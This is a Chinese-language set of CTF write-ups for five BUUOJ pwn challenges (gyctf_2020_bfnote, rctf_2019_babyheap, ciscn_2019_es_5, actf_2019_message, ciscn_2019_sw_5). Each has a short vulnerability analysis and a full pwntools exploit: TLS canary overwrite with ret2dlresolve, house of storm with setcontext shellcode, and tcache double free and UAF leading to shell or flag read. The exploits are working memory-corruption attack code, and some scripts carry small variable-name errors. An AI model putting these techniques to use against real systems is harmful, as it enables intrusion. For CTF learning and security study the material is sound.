196 gyctf_2020_bfnote

第一个漏洞点是有栈溢出,但是开了canary。第二个漏洞点是虽然会检测v4大小,但是检测完时候我们还能再次输入,所以我们会有一次任意输入的机会。
我们的想法就是改掉TLS结构体中的canary,然后rop即可。
tls结构体
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
里面的uintptr_t stack_guard就是我们的canary。
那这个结构体在哪?不同的libc不一样,对于这道题,2.23,在mmap的一块内存里面。所以我们就是申请一个大一点的chunk然后通过v4任意写改掉就好,剩下的就是一个栈溢出了。
又出了问题,问题是啥呢,在最后会在ebp上面去一个数字,这导致我们不能随便去覆盖它。因为不知道有啥用,覆盖了后面可能崩了。
这个东西其实就是说main的返回地址稍微变了变,利用ebp,而我们不知道ebp地址,就无法猜到应该把v4覆盖成啥。
所以我们直接写上bss段地址,做一个栈迁移,但是因为本题的输出,用的是fwrite、fprintf,这使得我们很难找到合适的gadget来控制参数。并且,这些函数的空间花销很大。
所以最后整半天我们就用ret2dl。
然后就通过ret2dl一顿操作,就好了。
exp
from pwn import *
r = remote("node3.buuoj.cn", 26764)
#r = process("./196")
elf = ELF("./196")
libc = ELF('./64/libc-2.23.so')
bss_start = 0x0804A060
gap = 0x500
stack_overflow = 'a' * (0x3e - 0xc + 0x8) + p64(bss_start + gap + 0x4)
r.recvuntil('Give your description : ')
r.send(stack_overflow)
r.recvuntil('Give your postscript : ')
fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8) + p32(0) + p32(0) + p32(0x12)
fake_rel = p32(bss_start) + p32(0x7 + int((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100)
r.send('\x00' * gap + p32(0x08048450) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0) + p32(0) + p32(bss_start + gap + 0x4 * 4) + '/bin/sh\x00' + 'system\x00\x00' + fake_rel + fake_sym)
r.recvuntil('Give your notebook size : ')
r.send(str(0x20000))
r.recvuntil('Give your title size : ')
r.send(str(0xf7d22714 - 0xf7d01008 - 16)) #计算偏移
r.recvuntil('invalid ! please re-enter :\n')
r.send(str(4))
r.recvuntil('Give your title : ')
r.send('a')
r.recvuntil('Give your note : ')
r.send('aaaa') #更改tls结构体中的canary为aaaa
r.interactive()
197 rctf_2019_babyheap

一道常规的heap
开了沙箱,fastbin也被ban掉了。
add
最多申请16个,大小很广,指针,大小都在bss,用的是calloc。
edit
一个很明显的off by null。
delete
删的干干净净。
show
普普通通泄露函数。
所以其实跟之前那个0ctf_2018_heapstorm2很像,也是house of storm。
所以我们最后的思路还是那个,我们把setcontent+53的地址写入__free_hook,并在其之后0x10字节内存中写上两遍__free_hook+0x18的地址,最后把orw的shellcode写进去就好了。
exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./197")
libc = ELF('./64/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "Choice: \n"
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline(str(size))
def delete(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index: ")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Content: ")
r.send(content)
def pwn():
libc.address = 0
add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3
delete(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)
delete(2)
add(0x80)#0
show(1)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
success("libc_base:"+hex(libc.address))
add(0x160)#2
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10
edit(5, 'a'*0x4f0+p64(0x500))
delete(5)
edit(4, 'a'*0x18)
add(0x18)#5
add(0x4d8)#11
delete(5)
delete(6)
add(0x30)#5
add(0x4e8)#6
edit(8, 'a'*0x4f0+p64(0x500))
delete(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
delete(8)
delete(9)
add(0x40)#8
delete(6)
add(0x4e8)#6
delete(6)
#pause()
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)
payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)
add(0x48)#6
sleep(0.5)
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
delete(12)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))
r.interactive()
while True:
r = remote("node3.buuoj.cn", 29594)
try:
pwn()
except:
r.close()
198 ciscn_2019_es_5

create里面size可以为0
edit里面有realloc,看这realloc应该就小心点,有问题。
当size为0,则这个chunk会被free掉,但是堆指针没有从flist堆数组里移除,这就造成了uaf。利用这个uaf剩下的都是常规思路。
exp
#coding:utf8
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',27355)
libc = ELF('./64/libc-2.27.so')
def add(size,content):
r.sendlineafter('Your choice:','1')
r.sendlineafter('size?>',str(size))
r.sendafter('content:',content)
def edit(index,content,have = True):
r.sendlineafter('Your choice:','2')
r.sendlineafter('Index:',str(index))
if have:
sh.sendafter('New content:',content)
def show(index):
r.sendlineafter('Your choice:','3')
r.sendlineafter('Index:',str(index))
def delete(index):
r.sendlineafter('Your choice:','4')
r.sendlineafter('Index:',str(index))
add(0x100,'a')
for i in range(7):
add(0x100,'b')
for i in range(1,8):
delete(i)
delete(0)
add(0x30,'a')
show(0)
r.recvuntil('Content: ')
malloc_hook = (u64(r.recv(6).ljust(8,'\x00')) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a38c
print 'libc_base=',hex(libc_base)
add(0,'')
edit(1,'',False)
delete(1)
add(0x10,p64(malloc_hook))
add(0x10,p64(one_gadget))
r.sendlineafter('Your choice:','1')
r.interactive()
199 actf_2019_message
add

delete
edit

正常edit
就double free做就好了。
exp
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',27555)
elf = ELF('./199')
libc = ELF('./64/libc-2.27.so')
def add(size,content):
r.sendlineafter(': ','1')
r.sendlineafter(':',str(size))
r.sendafter(':',content)
def delete(idx):
r.sendlineafter(': ','2')
r.sendlineafter(':',str(idx))
def edit(idx,content):
r.sendlineafter(': ','3')
r.sendlineafter(':',str(idx))
r.sendafter(':',content)
def show(idx):
r.sendlineafter(': ','4')
r.sendlineafter(':',str(idx))
add(0x68,'\x09'*9) #0
add(0x450,'\x08'*8) #1
add(0x68,'/bin/sh\x00') #2
add(0x58,'\x07'*7) #3
delete(0)
delete(0)
delete(1)
add(0x68,p64(0x000602060))
add(0x68,'aaaa')
add(0x68,p64(0)*2+p64(0x460))
show(1)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
delete(3)
delete(3)
add(0x58,p64(free_hook))
add(0x58,'aaaa')
add(0x58,p64(system_addr))
delete(2)
r.interactive()
200 ciscn_2019_sw_5



俩功能,add能输出内容,delete只能三次。
巧妙利用做double free就好了。
exp
#coding:utf8
from pwn import *
context.log_level = 'debug'
libc = ELF('./64/libc-2.27.so')
def add(title,content):
r.sendlineafter('>>','1')
r.sendafter('title:',title)
r.sendafter('content:',content)
def delete(index):
r.sendlineafter('>>','2')
r.sendlineafter('index:',str(index))
def exp():
add('t1','a')
add('t2','b')
fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
add('t3',fake_chunk)
#double free
delete(0)
delete(0)
#攻击tcache bin表头
add('\x1E\x70','a')
r.recvuntil('\n')
heap_base = u64(sh.recv(6).ljust(8,'\x00')) & (0xFFFFFFFFFFFFFF00)
print 'heap_base=',hex(heap_base)
add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))
payload = '\x00'*0x5A + p64(heap_base + 0x280)
add('\xFF',payload) #5
add('t1','a') #6
delete(6)
add('a'*0x8,'a'*0x10)
r.recvuntil('a'*0x18)
malloc_hook = (u64(sh.recv(6).ljust(8,'\x00'))& 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
one_gadget = libc_base + 0x10a38c
print 'libc_base=',hex(libc_base)
add('a','a'*0x10 + p64(malloc_hook))
add('a','a')
add(p64(one_gadget),'\x00')
#getshell
r.sendlineafter('>>','1')
while True:
try:
global r
r = remote('node3.buuoj.cn',25672)
exp()
r.interactive()
except:
r.close()
print 'trying...'
本文讲述了利用栈溢出和canary值绕过的漏洞技巧,针对TLS结构体修改进行ROP攻击,以及如何通过Ret2dl技术实现程序控制。涉及的具体题目包括196gyctf_2020_bfnote的栈溢出与canary修复,197rctf_2019_babyheap的heap利用,以及199actf_2019_message的doublefree利用策略。
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